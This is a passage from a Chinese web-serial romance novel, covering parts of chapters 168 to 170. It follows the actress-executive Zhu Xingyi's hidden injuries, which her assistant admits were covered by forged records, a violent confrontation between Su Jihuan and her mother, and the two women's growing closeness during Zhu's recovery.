白澜神情滞了一瞬，旋即整理思绪回答：“五年前她刚到旧金山时出了点意外，重大车祸。她伤势比较严重，昏迷了半年才醒过来。” 车祸，昏迷半年…… 布料在掌心皱成一团，阳台上打来的阳光透过玻璃落地窗投在地板上晃着人眼。 眼前发黑，晕眩得难受。 苏寄欢的声音低得几乎听不见：“什么？车……车祸？” 白澜从手机里调出一份电子文档，递到她面前：“这是祝总在旧金山医院的就诊记录。当时情况……很不好。” 苏寄欢接过手机，映入眼帘的是密密麻麻的英文，她看着那些文字，只觉得眼睛痛得很。 7次大型手术，术后多次感染高烧不退，多次进行医疗整形，还有……还有车祸不久后，祝星亦躺在ICU病床上的照片。 全身插满管子，脸色苍白得几乎要和床单融为一体，多处触目惊心的伤痕和缝合线…… “不……不……”手机从手中滑落，掉在柔软的地毯上发出一声闷响，她弯下腰双手插入发间，指关节因用力而泛白。 胸口传来一阵尖锐的疼痛，像是有人用钝器一下下敲击她的心脏。 “苏……苏总……”白澜担忧地唤她。 “她从来没……从来没跟我提过。”苏寄欢的声音支离破碎，她不敢抬头，怕一抬头眼泪就会决堤。 白澜捡起手机，装作若无其事的样子：“可能祝总觉得这种事情不值*得说吧，毕竟也不是什么好事。” 苏寄欢深吸一口气，强迫自己直起腰来。她望向窗外，阳光依旧明媚得刺眼。 五年前，五年前正是祝星亦刚曝出丑闻的时候，她对祝星亦感到失望，面对记者的提问她闭口不谈，却无法无视那些事。 荒唐，祝星亦太荒唐了，参与黑暗的对赌协议，和洗黑钱的晏氏为伍，实在荒唐。 可荒唐的人，得到了最痛苦的报应。 病重，又在国外无依无靠的祝星亦，到底是怎么挺过来的？那些伤口她看着都要痛死了，祝星亦怎么忍得下去的…… 可这个女人为什么什么都不说，为什么不说啊。不应该像过去那样，稍微磕磕碰碰都要举起手让她吹吹吗？为什么什么都不说，为什么五年了什么都不说啊！ “苏总……你怎么了？”白澜观察着她的表情，小心翼翼地问，“苏总，祝总不提这件事，可能是不想想起伤心事。那场车祸很触目惊心，心理医生给她疏导了很久才走出来。苏总，你不用太难过，这件事和你无关，是祝总运气差了点，另外我希望你以后……不要跟她提起这件事，不要让她想起车祸时不美好的回忆。” 苏寄欢点点头，咬住下唇直到尝到铁锈味。她低头捡起掉在地上的衣服抚了抚，却怎么也抚不平上面的褶皱。 “那我先去陪祝总说话了。”白澜轻声说，转身走向里间的卧室。 门关上的瞬间，苏寄欢终于放任自己蜷缩起来。 她将脸埋进那堆叠好的衣服里，肩膀无声地抽动。衣料很快被浸湿，分不清是汗水还是泪水。 心脏处的疼痛越发剧烈，她匆匆忙忙翻找出药丸填进嘴里，才得以缓解那股撕心裂肺的疼。 五年前祝星亦狼狈消失，她以为是这个荒唐女人畏罪潜逃，她失去了女人所有的联系方式，翻遍世界也找不到这个女人。 哪里会知道，这个女人在病床上躺了半年。 她甚至在女人回国后不停嘲讽和奚落，不断地歧视这个靠拍短剧想跻身影视行业的女人。 无数次责骂无数次讥讽无数次白眼，无数次想让这个女人得到应有的惩罚，却不知，这个什么都不说的女人，早就受过痛苦的惩罚了。 疼痛从胸口传来，里间的门被轻轻反锁，她捂着脸失声呜咽。 / 白澜锁好门，快步走到床边：“星亦，苏总果然问了。” 祝星亦缓缓睁开眼，琥珀色的眸子里闪过复杂的情绪：“我就知道她不是因为我从楼上滚下来才心疼我的。” “还好所有知情人都通过气，也早在旧金山拿到了伪造的就诊记录和伤情鉴定。”白澜松了口气，“她不会起疑心的。” 她正高兴，却发现祝星亦脸上没有一丝喜色，反而笼罩着一层阴霾，“星亦，瞒过她了，你怎么还不开心？” 祝星亦摇摇头，目光落在窗外摇曳的树影上：“没有，我很开心。只是……” 她停顿了一下，声音轻得像叹息，“靠痛苦换取她的同情和怜惜，会让我看起来很卑鄙。” 白澜立刻反驳：“可你是为了她才差点死去的！你为了她去扳倒晏氏，为了她被捅了17刀还坠楼，为了她缝了600多针，钉了42颗钢钉，你为什么不能让她心疼你？如果不是晏氏还没完全倒下，我们不能透露你做的那些事，她要是知道你是为了她……” 第168章 《长离引》暂停拍摄 “不，不是。”祝星亦打断她：“我做那些事是心甘情愿，是因为她值得，是因为我必须去做。” “白澜，我有两个母亲，一个是生我养我的，一个是助我推我的。”祝星亦的声音很轻，却字字清晰，“这辈子，我本要靠走歪路达成我想要的成功，但她出现了。她带我走上正轨，她为我付出不该付出的一切，她让我看到规则之外的可能，她给了我新的生命。” 阳光透过纱帘在她苍白的脸上投下细碎的光斑，睫毛在眼下投下一小片阴影，她仰了仰下巴，一如既往的执拗。 “我的的确确是一个吸血鬼，从我遇到她开始，我不断从她身上掠夺资源。从出身、资源、圈层来看，我和她有着很大的阶级差别，我和她的关系本就不平等。” “也许你觉得我为她做的一切是高尚的牺牲和伟大的付出，可我不觉得是这样。帮她扳倒晏氏，只是我在不平等关系里，能找到的唯一让我和她处于平等位置的处理方式。” “天平的两端，是我的付出和她的付出。她给我一个不一样的未来，我也给她一个不一样的未来。” “这才是公平，这才是，我和她站在同样的高度。” “所以我不想让她以此怜惜我、心疼我，我不想让她有愧疚然后去补偿我，我不想再让这个天平往她那处倾斜。因为……我已经没有什么可以为她做的了。” “怜惜、心疼、同情，是上位者对下位者的审视。”她转过头，直视白澜的眼睛，“我要她平视我，我要和她并肩，我要一份绝对平等的关系。” 房间里一时寂静无声。 白澜怔住了。 祝星亦的眼神太过清澈，里面盛着的不是委屈或算计，而是一种近乎固执的纯粹。 过度的固执，是一种狠毒的残忍。 对苏寄欢来说，祝星亦便是这般残忍的人。 白澜张张嘴，一个字也说不出来。 久久，她说：“如果平等就是付出对付出，可你未经她的允许，亲手把砝码强行推了过去，这也叫平等吗？” “她给你资源时你不拒绝，现在又想通过隐瞒禁止她给你提供感情，你这不是霸王条款吗？” 窗外忽然暗了下来，阳光被云层覆盖，白澜挺直脊背，掷地有声：“你为什么非要用她赠你还的方式来守着这份感情？你是觉得你配不上她给你的爱吗？你是觉得，你的出身、资源、圈层低于她，她给了你那么多，你就非得靠这样的方式才能与她平视吗？” “她已经让你看到了她给你的付出，你如果不让她看到，那这个天平就是往你这边倾斜，你们依旧不平等。” “星亦，感情上的平等并不是锱铢必较的债务清算，而是[允许你欠我］。” “你要求绝对的平等，你时时刻刻清算彼此的付出，到底是想和她重新开始、好好在一起，还是清算过后彼此再无瓜葛？” 暗色的光在琥珀色的眸子里闪烁，祝星亦抓着被角，被白澜的话堵住了反驳的能力。 白澜知道祝星亦并不接受这些劝说，这个女人太固执了，只要认定了什么，撞得头破血流也不会停下。 当初，祝星亦就是因为觉得和苏寄欢关系、付出不平等，才隐忍两年多去对抗晏氏。 固执到除了警方，谁都不透露，固执到不怕被晏氏的人杀死，固执到能毫无纰漏地隐瞒了所有人，哪怕是晏氏那群无比警惕的人都被瞒了下来。 这种固执的人太可怕了。 太可怕了。 现在劝，根本劝不动，白澜在床边坐下，心情复杂地看着她：“那我问你，如果晏珂死了，晏氏完全倒了，你会跟苏总坦诚吗？” 祝星亦望向窗外，许久，她闭上眼睛：“不想。” 白澜呼吸有些急促，起身倒了杯水喝下。 一杯水下肚，浇不灭心里的火。 她重重放下杯子，苦笑出声。 / 转移到酒店后，祝星亦心情比在医院里好了很多。起码屋子里没有刺鼻的消毒水味，而且，心爱的人在帮忙照顾自己。 手术的伤口还没完全恢复好，她只能卧床不动，大大小小的事需要麻烦苏寄欢。 擦洗身子她尽量自己来，但太多够不到的地方，只能求助苏寄欢。 苏寄欢挽着袖子用温热的毛巾擦她身子，她躺在床上一副任人宰割的羔羊的模样。 毛巾擦过全身上下，祝星亦闭着眼睛，红了耳尖。 她不敢和苏寄欢对视，但一想到苏寄欢说的那句[你我之间早就坦诚相见］，心里不太好受。 苏寄欢不在意这些，是因为现在两人只是同事，所以无所谓了吗？一点嫌都不避，是因为完全不在乎？ 想着这些，祝星亦歪着头咬唇不吭声。 擦洗的时候她还在穿着衣服，苏寄欢握着毛巾探进衣下，从腹部到腰下，从腰下到背部，从背部到胸前。 毛巾小心擦着胸前的位置，祝星亦咬住唇紧闭上眼。 苏寄欢垂眼认真擦拭，稳着呼吸抚过曲线。 擦到一半，抽出毛巾在热水盆里洗一洗，又探进衣服里去刚刚的位置擦。 毛巾在胸前画了几个圈，苏寄欢低声开口：“下次把扣子解开擦，我这样擦不太方便。” 祝星亦竖起耳朵。 什么？解开扣子擦身上？？ 她慌忙拒绝：“不……不行，怎么能解开扣子。” 苏寄欢抽出毛巾，双指勾了下祝星亦身上的衣服扣子：“你都湿透了，还不解？” 胸前一片湿漉漉，贴到皮肤上一阵凉意。 祝星亦捂住胸口，耳尖发烧：“你不要趁人之危。” 趁人之危？ 转过身子洗毛巾，水声刺激着耳朵，苏寄欢轻笑挑眉：“放心，我不会趁你之危。” 她挽起祝星亦的袖口，给她擦拭手臂。 祝星亦不太高兴。 苏寄欢瞄了她一眼，问：“怎么了？还在担心我趁你之危？我跟你保证，我不会。” 祝星亦不想听到这个保证。 简直大失所望。 “你对我，一点兴趣都没有了吗？”祝星亦嘴巴咕哝了几下才出声。 擦完左臂，苏寄欢移到右边擦右臂。 喉咙里溢出低低的笑：“兴趣？你是指什么兴趣？” 祝星亦咬住下唇，她忽然觉得自己问的问题太蠢了。 移到水盆那处洗了下毛巾，苏寄欢沉声说：“好好养病，我会好好照顾你。” “下次擦的时候，给我解开扣子。”祝星亦有些赌气。 这下轮到苏寄欢耳尖红得发烫，“你真愿意？” “你不是不会趁我之危？” 毛巾在盆里泡了又泡，也没拧干拿起来。 苏寄欢抿唇：“行，你说的。” 意外平和的对话。 祝星亦蜷起脚趾，任由苏寄欢擦拭她的手臂。 “苏老师。”她小声喊了喊。 苏寄欢侧目：“嗯？” “你真好。”祝星亦说。 毛巾泡在温水里，苏寄欢挺直脊背，回眸看床上的人一眼。 好人？ 不停奚落、讥嘲，还是好人吗？ 她没吭声，安静地擦拭完祝星亦的身子，坐在床边的椅子上拿起iPad点进阅读界面，“我上次讲到哪里了？” 祝星亦想了想回答：“好像是小企鹅漂流到马达加斯加了。” 苏寄欢点点头，又听祝星亦问：“不过，苏老师，你说，这个世界上，真有企鹅会跑到北极吗？” 故事书的名字是《go！去北极！》，祝星亦躺在病床上无聊，又想让眼睛歇歇，本要听一听这个童话故事，苏寄欢主动要给她亲自讲。 苏寄欢讲的时候，还会配上生动的表演，祝星亦十分有代入感，只是苏寄欢的声音很轻很柔，导致她听着听着很快就会睡着。 机械的声音和爱人的声音，云泥之别。 而且苏寄欢也给动画片配过音，光是坐在这里讲上一段，都让祝星亦觉得像在看动漫。 祝星亦打趣要把这个小说买下来拍动画电影，苏寄欢赞同，说可以试试，这本书很适合改成冒险题材的动画大电影。 说着还介绍了几个动画电影的行业大姥，祝星亦心动得想立刻把版权买下来。 苏寄欢放下iPad思考祝星亦的问题。 会有企鹅跑到北极去吗？会有企鹅带着几个小伙伴跑到北极去吗？ 从南极，到北极。 直线距离约20000公里。 她摇摇头：“我不知道，但我想，一只生活在南极的企鹅，光是跨越赤道走到北半球都会累得筋疲力尽吧。” 祝星亦思索了会儿，问：“那，苏老师，你去过南极，或是北极吗？” “都去过。” 祝星亦叹道：“我还都没去过呢，只跟你一起去过冰岛看极光。” 点开故事，苏寄欢左翻右翻，最后停在上次讲的地方：“等《长离引》杀青，等你身体完全恢复好，我们一起去南极和北极。” 好像听到了什么不得了的事情。 一起去……去南极？去北极？ 祝星亦挣扎着要坐起来，又被苏寄欢按下。 她握住苏寄欢的手难以置信：“苏老师，我……你……你真的要带我去北极和南极？杀青后，你还愿意带我去玩？！” 苏寄欢拍拍她的手背：“是，我会带你出去玩。好了，我要继续讲。摇摇晃晃的大船停靠在马达加斯加的一座小岛上……” “随后，它们拿着……”讲着，苏寄欢抬眸看床上的人。 浅浅的呼吸声。 睡着了。 她关上iPad站起来，随后俯身吻了吻女人的额头。 “晚安。” / 自从转移到酒店后，剧组经常会派人来探望一下祝星亦。 苏寄欢总把人拦在门外，告诉那些人祝星亦现在需要静养。偶尔会放人进来跟祝星亦聊天解闷，到点就把人轰走。 白澜拎着东西上来，把蔬菜、肉、水果放进冰箱，看了眼正在跟韩珑打电话的祝星亦，转身去客厅与苏寄欢说：“苏总，食材我买好了，辛苦你给祝总做饭。” 抱着笔记本处理工作的苏寄欢点点头：“嗯，辛苦你。” “好，我先走了。”白澜道。 出门前回头看了眼，这两人挺像在一起过日子的。 早午晚饭都是苏寄欢亲手做，祝星亦偶尔喜欢吃点别的东西，苏寄欢便去下楼出门买。 晚饭祝星亦想要尝尝杏仁茶：“她们说味道不错，就这家。” 苏寄欢看了眼，她以为是什么茶水，竟然……像粥。 查了下位置，就在附近，她点点头：“等下我下去给你买。” 祝星亦攥着被子嘿嘿笑笑：“苏老师，谢谢你，你真好。” “你真好三个字我都听腻了。”苏寄欢收藏地点，起身整理了下床上的东西。 祝星亦慌忙改口：“嗯……好喜欢你。” 整理东西的动作顿住。 苏寄欢没回应。 祝星亦抿唇问：“那我要说什么呢？” 苏寄欢缓缓起身，视线胶着在祝星亦身上，“这句就行。” 出门去买杏仁茶，走了两步，忍不住哼了歌。 走到那家店，迅速买完拎着东西回去。 还没到酒店，一辆车跟在她身旁。 她停下脚步。 车也跟着停下，后座门开了。 “妈。”苏寄欢退后半步，喊出声。 第169章 《长离引》暂停拍摄 北方夏日的晚上偶有一阵凉意，但比起苏菱眼中的怒意，还是逊色许多。 苏寄欢在看到苏菱的这一刻知道苏菱为什么而来，只是不等她开口，苏菱扬手扇了她一巴掌。 “你之前跟我说过什么？”苏菱掌掴苏寄欢的脸后，手掌发麻，“你说你再也不会和她有牵扯，那现在你在干什么？” 脸上火辣辣的疼，苏寄欢站稳身子，拽紧了手里的袋子。 杏仁茶的盖子封得严实，应该不会洒。 “只是在照顾她，这也算牵扯？同事在我的剧组里受伤了我不照顾，这叫有教养吗？”她抬眸反驳，浅褐色的眼睛透过杂乱的头发直视苏菱的眼。 苏菱冷笑：“苏寄欢，你别忘了等你杀青后是要离开麓城的，你要去港城定居，或者回伦敦，你没有第三个选项。” “这还没到杀青，你急什么？”苏寄欢随意撩了下头发，路灯下，蒙了层阴翳的眼没有光彩。 苏菱厌恶苏寄欢这个态度，脱离掌控脱离她的规划。 她放任这个女儿太久了。 她也放任这个不听话的女儿一次一次又一次。 容忍只会换来更残忍的事实，她伸了伸手，一旁的苏芙把一摞文件放在她手里。 她把文件砸到苏寄欢怀里，微微仰起下巴道：“如果因为她受伤而耽误整组的进度，那这个项目就会变得非常不划算，我现在给你两个选择，一个是换演员，你们才开机没多久，临时换演员补拍替换的戏份应该不难。另一个是改剧本，唐离成为云长洛徒儿后在栖云山学习多年，她原先的设定是未成年的狐狸，学习多年也该成年了吧，正好可以换一个新演员演成年后的唐离。” 苏芙抱着双臂跟着开口：“无论怎样，都不能让祝星亦那个死女人一直在这个剧组跟你搭戏。寄欢，我相信你是清醒的，她摔倒和你半毛钱关系都没有，你不需要为她负责。受伤了那就躺着好好养病，别想着再去剧组，换演员的事情并不难，这些资料是改后的剧本以及我们提供的可以替换的演员。” 想到以前发生的不快，苏芙心里也是憋闷得慌。 苏寄欢干什么不好，怎么偏偏又和那个女人纠缠在一起，以前的亏没吃够吗？ 她上前拍拍苏寄欢的肩膀叹道：“寄欢，不要靠近这个女人，你明明已经走出来了不是吗？《长离引》是你和她最后的体面，现在两家公司已经合拍了，你就已经完成了任务。至于她参不参演，没所谓的。” 苏芙不怕别的，就怕苏寄欢和祝星亦相处。那个祝星亦忒有能耐，装个可怜就能把苏寄欢哄得跟胚胎似的。苏寄欢善良，又容易心软，但万一那女人再挤个眼泪，刚走出来的苏寄欢说不定又会再陷进去。 这女人从楼上摔下来可能也是故意的！谁家正常人会从那么宽的楼梯上摔下来？？早不摔晚不摔，进组了就摔了，那不是明摆着在苏寄欢面前卖惨吗？ 现在苏寄欢又拒绝进组，还选择陪护照顾，太过分了！凭什么要照顾那个坏女人！ 苏寄欢睨了一眼苏芙，错开身子，声音坚定有力：“资方指定我和她出演，你们现在要我换掉演员，你们是想害我？” 苏菱反驳：“寄欢，你有这个权力换演员，那些资方根本拦不住你。” “不要再说了，我不想听。”苏寄欢抓紧杏仁茶袋子转身，“没别的事你们就回去，不要再跟我闹了，剧组现在拍摄进程很顺利，请不要打扰我们。” 她转身就走，不带一点情绪。 怒火再次被激发，苏菱攥着拳头厉声喊：“苏寄欢！你到底要在她身上栽多少次跟头！好了伤疤忘了疼，你在为[苏盛］焦头烂额时，她在领奖台风光无限。你因为劳累过度重病病危，她在国外潇洒得不得了！” “她没有！”苏寄欢扭头打断她，她步步逼近苏菱，字字清晰，“我为[苏盛］焦头烂额和她有什么关系？我是[苏盛］的负责人，我为[苏盛］辛苦那是应该的。她在国外潇洒？她潇洒个屁！她刚去国外就出了严重车祸，身体里钉了42根钢钉，全身缝合600多针，留下了数不尽的后遗症，她潇洒什么了！” 苏菱愣了一下，冷笑更甚：“所以呢？她告诉你的？你又信了？她又用这副可怜相欺骗你是不是？她出车祸那是她活该，她该出车祸，她该去死，她这个坏事做尽丧尽天良的毒妇她该死！她该死无葬身之地！” “你闭嘴！” 啪—— 巴掌的脆响惊动了鸟雀。 苏寄欢被打歪了脸，刚整理好的头发又乱了。 “苏寄欢！我是你妈！”苏菱打完后手掌痛得继续抬不起来。 苏寄欢歪着头嗤笑一声：“你是我妈又怎么了？你管了我这么多年还没够吗？” 她转过头来，嘴角溢出一点血丝，漫不经心的模样好像丝毫不在乎这点疼痛，甚至像在跟苏菱发出挑衅。 苏寄欢只觉得荒唐，又觉得自己活该。 苏菱把她扶起来，苏菱见过她所有脆弱的模样，苏菱为她做过正确的决定，苏菱把她培养成这么优秀的孩子，所以她必须尊重这个强势的母亲。 但她早就不听苏菱的话了。 这个时代是她的，她掌握了话语权，她容不得上一代的人站在这一代人巩固起来都规则上对她指指点点。 因为祝星亦，她跟苏菱吵过，也闹过断绝关系，可母女的血缘紧紧绑着她们。 可她实在不想让苏菱掺和自己的感情，更不想让苏菱指责祝星亦。 祝星亦是犯了很多错，是做了太多荒唐事，可是……可是…… 可是自己就没有什么错误吗？ 她疏于祝星亦管教，她当初不够强大，无法让[苏盛］立起来，才放任祝星亦成了那样罪恶的人。 至于祝星亦屡次放弃，屡次不选择她，那便是祝星亦的错。 但这么多年了，这么多年了，到底谁有错谁没错，苏寄欢自己也分不清了。 只是有的人已经得到报应了，她还要在乎什么？ 如果要在乎，那冤冤相报何时了？ 苏寄欢攥着拳怒吼：“妈，我都快40岁了，你还要管我吗？你要管我一辈子，你要管我管到死吗！！” 啪—— 苏菱咬着牙再打一巴掌，“我是你妈！我到了地狱我也是要管你！” 她打完，看苏寄欢还不服气，追着苏寄欢的脸再扇一巴掌。苏芙看不下去忙劝说：“姨你别打了，都把她打出血了。” 苏菱把手从苏芙手里抽出来，打了十数个巴掌，弯腰强行拽过苏寄欢手里的杏仁茶砸在苏寄欢身上。 黏糊糊的杏仁茶和各种小料盖在苏寄欢身上，苏菱指着苏寄欢的鼻子继续怒骂：“苏寄欢！你还把不把我这个妈放在眼里！你真当自己飞上了天我就管不了你吗？你被她害得身体那么差，还敢执迷不悟。你快四十岁又怎样？只要我还活着，就容不得你这么糊涂！” 苏芙瞥一眼脸肿起来的苏寄欢心疼得很，又不敢放任苏菱这样生气，赶忙拉着苏菱同苏寄欢道：“寄欢，你跟姨道个歉，你快点回头和那个女人断绝关系，这件事我们就不追究了，别意气用事好吗？” 苏菱剧烈喘息着，她等苏寄欢低头和说放弃，但她什么都没等到，只等到苏寄欢不屑一顾的笑。 “少管我。” 苏寄欢撂下一句话，拖着脏兮兮的身子走进酒店。 “苏寄欢！”苏菱怒吼一声，气得两眼发黑。 苏芙匆忙安抚她，她攥着拳喃喃：“祝星亦，好啊，好啊，你真是太有能耐了。但你以为我真对付不了你们吗？” 她闭上眼，深吸一口气，“苏芙，先回家，我有的是法子让那个女人离开剧组。” / 苏寄欢上楼后轻手轻脚进去，里间祝星亦的房门在关着，她去洗手间擦洗之后换了身衣服再次下楼买了一碗杏仁茶提上去。 “苏老师，你怎么换衣服了？”祝星亦注意到苏寄欢的衣服和离开时不一样。 苏寄欢打开盖子放在床上的小桌上，“不小心撒身上一点，刚换的。” 她坐下来，祝星亦看到她肿胀的脸慌忙问：“苏老师，你的脸……” 苏寄欢摸摸脸奇怪道：“我的脸怎么了？” 起身去看自己的脸，故作惊讶道：“我这脸……怎么回事？是过敏了吗？” “苏老师，你有没有觉得痒或疼？”祝星亦担忧地问，“你要不要去看一下，别更严重了。” 苏寄欢忙去查了下手机，嘱咐祝星亦先吃杏仁茶，转身出去去附近小门诊看看。 半个小时后苏寄欢回来，手里提了许多药，“是有点过敏，可能去买杏仁茶的路上接触到什么东西了，不碍事，开了点药。” 坐下来给祝星亦看了看药，见一碗杏仁茶喝了一半，慢声问：“都半个小时还没喝完？” 祝星亦推了推碗，“我给你留的，你也来喝。” 心脏酸软得难受，苏寄欢起来坐到床边，扬了扬下巴，轻声道：“那你来喂我，好不好？” 第170章 《长离引》暂停拍摄 祝星亦顿了顿，以为自己听错了。 对上苏寄欢弯弯的眼，她垂下眼看那半碗杏仁茶，嗯了声。 这段时间静养加上苏寄欢的照顾，她都能坐起来了。请了医生上门来看，说再过段时间可以下来走走路。 客厅里放着一把轮椅，苏寄欢说等两天就能推她去楼下转转。 她看着那把轮椅，调侃自己像八九十岁的老奶奶，需要被推着出门。 那时苏寄欢笑着说：“说不定你到了八九十岁，还能活蹦乱跳呢。” 祝星亦端着碗拿起勺子舀了一勺递到苏寄欢嘴边：“苏老师，温温热，可以直接喝。” “嗯。”苏寄欢点头。 她垂下眼帘，浓密的睫毛在红肿的脸颊上投下阴影，身子微微前倾，唇瓣轻启含住勺尖，杏仁茶的甜香在口腔中扩散，却掩不住嘴角伤口渗出的血腥味。 好在从外面看不出来伤口，她不动声色地咽下，“好喝。” “嗯，我也觉得好喝。”祝星亦低头又舀一勺，目光落在苏寄欢肿起来的脸颊上。 左脸和右脸都肿着，平日瓷白的肌肤透着不自然的紫红。 放下勺子，指尖悬在半空，想碰又不敢碰，“苏老师，你的脸，疼不疼？” 苏寄欢抬手碰了碰伤处，故作轻松地扯动嘴角：“有点发胀而已，医生说过几天就好。” 她故意转移话题：“来，继续喂我，杏仁茶确实不错，难怪网友那么推荐。不过我是就近在附近买的，怕你着急吃，下次我去小摊上买，听说那里的更好吃。” 祝星亦点点头，继续喂食。 半碗杏仁茶见底时，祝星亦下意识用拇指擦过苏寄欢的唇角，抹去一点残渍。 蓦地，两人愣住。 祝星亦慌忙收回手，耳尖泛起薄红：“苏老师，对……对不起……” “没事。”苏寄欢摇摇头。 她默声收拾了下，拎着袋子放到垃圾桶，快速擦了擦桌子收起，又把垃圾袋掂出来扔到楼层的大垃圾桶处。 “好了，该给你讲睡前故事了。”收拾完后，苏寄欢拉过凳子坐下，手里抱着iPad，指尖滑动了下，翻到上次读的地方，“上次讲到……” 祝星亦握住她的手腕打断她：“苏老师，别读了，等你过敏好了再读。” 低头看着故事书上的字，苏寄欢翘着唇角抬头：“嗯，好，我听你的。” [我听你的］ 很久没有听到这句话了。 心里某个角落软化成一片糖渍。 被关心照顾的这些日子，苏寄欢似乎回到了两人恋爱时的模样。 会温柔对她，会和她亲密接触，不像以前那样无视她、奚落她。 博同情、低自尊不是一件好事，这种行为甚至算得上卑鄙，但又舍不得离开这样的关心照顾。 祝星亦知道自己有点卑鄙，她会埋怨那个医生为什么会向苏寄欢讲这些东西，又庆幸苏寄欢知道了被掩埋真相的过去。 知道她受伤，知道她痛苦的过往，就会对她心软。 这样就够了。 至于受伤的真相，不必知晓。 凌冽又温柔的女人弯腰给她掖被角，她抓住女人的手问：“苏老师，你可以抱一下我吗？” 动作停下，苏寄欢抬眸，身子像是滞住了一样。 祝星亦顿时有些无措。 让别人抱自己，好像太冒昧了。 对方只是心地善良照顾自己，怎么就蹬鼻子上脸了？ 她收回手，压下心里的尴尬：“我什么也没说，你回去休息吧。” 话音刚落，苏寄欢抬手整理了下祝星亦耳边的发。 祝星亦愣怔地看着苏寄欢浅褐色的眼眸，分辨不出这双漂亮的眼里的情绪。 但很快，苏寄欢抱住了她，“好，我抱抱你，你等下好好休息，你也一定要快快好起来。” 温柔的语言像水一样裹住了祝星亦的身子，她觉得身体轻飘飘的，像从高空坠落到一团柔软的棉花云里，随着风飘来荡去。 眼角忽然酸涩起来。 她快速环住苏寄欢的腰身，脑袋埋在满是柚子花香的颈窝里，小声说：“嗯，我会快快好起来。” / 在屋子久了，祝星亦始终闲不住，经常差白澜去片场给她直播拍摄情况。 苏寄欢不忙的时候陪她一起看直播，两人坐在床上一起看着卧室里大屏电视里转的直播，祝星亦看着看着竟会犯困。 歪在苏寄欢肩上打了会儿瞌睡，祝星亦被直播里忽然喊起来的声音吓醒，睁开眼发现苏寄欢低头看她笑，她匆忙坐好说了句抱歉，认真看直播。 片场里有人知道白澜在直播，又开始闹腾了起来，跑到镜头面前跟祝星亦打招呼，祝星亦只能在直播间里发文字跟大家打招呼。 私人直播间里只有三个人，白澜、祝星亦、苏寄欢。 乔沐音知道之后，对着镜头笑眯眯说：“苏总，虽然你和祝总不在，但我们都在认真演戏，你看我们表现得那么好，能送一个嘉年华吗？” 齐漫姝跟着吆喝：“苏小姐，来个嘉年华吧！” 一群人跟着喊了起来：“苏总，来送嘉年华吧求求了～” 几个演员盯着屏幕，不一会儿，屏幕上显示苏寄欢刷了10个嘉年华。 “苏总大气！！” “老板我爱你！！” “哦哦哦哦哦哦哦——” “白助理我们帮你乞讨到了10个嘉年华！！” 坐在小板凳上吃冰淇淋的白澜眼珠子都瞪大了，苏寄欢居然真的刷了10个嘉年华，“这么大气啊，10个！！一个要3000呢！” 看着屏幕里的一群猴子上蹿下跳，祝星亦蹙眉：“你怎么真刷了，还刷10个。” 苏寄欢低头打着字，轻声说：“高兴嘛。” 祝星亦不好说什么，又看到屏幕上飘来苏寄欢的字【白澜，今晚请全组吃饭】。 瘪着嘴看向身旁的苏寄欢，小声说：“怎么那么大方，你都没有请我吃饭，之前还要我还你40块钱。” 安排好请客的事，苏寄欢身子往祝星亦那边歪了歪：“天天给你做饭也不够？” 祝星亦点头：“不够。” 苏寄欢轻笑：“你这么贪心？” “别人有的我也想有。” 苏寄欢没吭声，起身出门，再进来时把客厅里的轮椅推了过来。 祝星亦正出神，苏寄欢拿过*衣服放在祝星亦手边：“那就起来，我推你下楼，请你吃东西。” 不消片刻，祝星亦穿好衣服。 苏寄欢抱她下来把她安置到轮椅上，推到客厅后拿保温杯接了热水挂在轮椅后面。 出门后，映入眼帘的是汴城夏日的晚霞。 祝星亦吸一口气，是久违的户外，干燥的热和空气中的荷香，是不同于南方的北方夏日。 酒店附近有许多饭店和小摊，平时祝星亦都是吃苏寄欢做的饭，出来后竟不知吃些什么。 苏寄欢蹲下来跟她猜拳，谁赢了听谁的话去吃什么。 “剪刀石头布！” 祝星亦剪刀，苏寄欢石头。 祝星亦瘪嘴：“好了，听你的。” 苏寄欢起身推她：“病号为大，选择权让给你。” “那我还要吃杏仁茶。”祝星亦说。 苏寄欢挑眉问：“所以之前那一碗，你是忍住想吃的冲动给我留半碗的？” 居然被看穿了。 祝星亦搅着衣角承认：“对，很好吃，但还是忍住了，因为想和你分享。” 轮椅忽然停下。 祝星亦疑惑回头，身后的人忽然弯下腰。 柚子花香扑面而来，裹着无尽的温柔，在她耳边落下几个字：“谢谢你。” 车轮继续滚动，耳尖要和晚霞融为一体。 脸颊也是。 “苏老师。”嘴边蹦出小小一声。 苏寄欢低头问：“怎么了？” “你可以不要喊我祝总或是祝星亦了吗？” 苏寄欢垂眸看乖巧坐在轮椅上的女人，一身素白的衣裙，脆弱又坚韧。 她问：“那我要喊你什么？” “喊我星星，像以前那样。” 晚风拂动湖心的荷叶，霞光漫天，她们要融入黄昏里去，像一场文艺电影的片尾。 苏寄欢瞥向那片湖，飞鸟掠过糖的的湖水，荡起一小片涟漪。 她揉了揉狐狸的头发，点头：“好，星星。” 只是到小店和小摊上，祝星亦也不知吃些什么。 之前出来吃饭都是有人带着，现在要自己选有点不习惯。她又不清楚这里都有什么好吃的，不好做选择，握了握苏寄欢推着轮椅的手：“苏老师，我不知道吃什么，你有没有什么推荐？” 这下问对了人。 苏寄欢像美食博主一般推荐了许多，最终选了几样找了家店，坐在门口吃。 美食里少不了一碗杏仁茶。 如上次那般，一人半碗。 吃着，祝星亦握住筷子问坐在身旁的人：“苏老师，如果我身体好了，你还会对我这么好吗？” “会。”低头吃饭的女人答。 “谢谢你。”祝星亦应了一声。 心有灵犀般，什么都没问，什么都不说。 只要保守住真正的秘密，也不算卑鄙吧。 祝星亦舀了口杏仁茶吞下。 应该只算作弊。 / “欢迎我们的唐离和神尊大人回归剧组！！” “欢迎！！” “你们终于回来啦！好想你们啊！！” 砰—— 韩珑拉开礼花，兴奋地喊着：“阔别已久，我真的是太想念二位了，来来来，有请我们的祝总发表回归感言！” 韩珑邀祝星亦和苏寄欢过来，祝星亦被苏寄欢轻轻推了下。 往前走半步，祝星亦鞠个躬真挚道：“感谢大家的包容和等待，感谢大家这一个多月的关心，也感谢苏老师的照顾。很开心能回到剧组继续拍摄，为了表达我受伤造成的延误，杀青之后我会送全剧组的人一份旅行套餐，国内国外任意地点食宿行全包，感谢大家。” 说完，剧组的人沸腾了。 “啊啊啊祝总大气啊！” “感谢祝总啊啊啊啊！” “大星！我爱你！！我爱你！！” “祝总，我下辈子还是你的员工！！” 掌声落下，祝星亦退回半步回望苏寄欢。 韩珑招呼大家快点想想杀青后要去哪里，随后催促大家快些开工。 主角之外的角色戏份拍得差不多了，现在只剩两位女主的戏份，以及两位和其他角色的同框戏份。 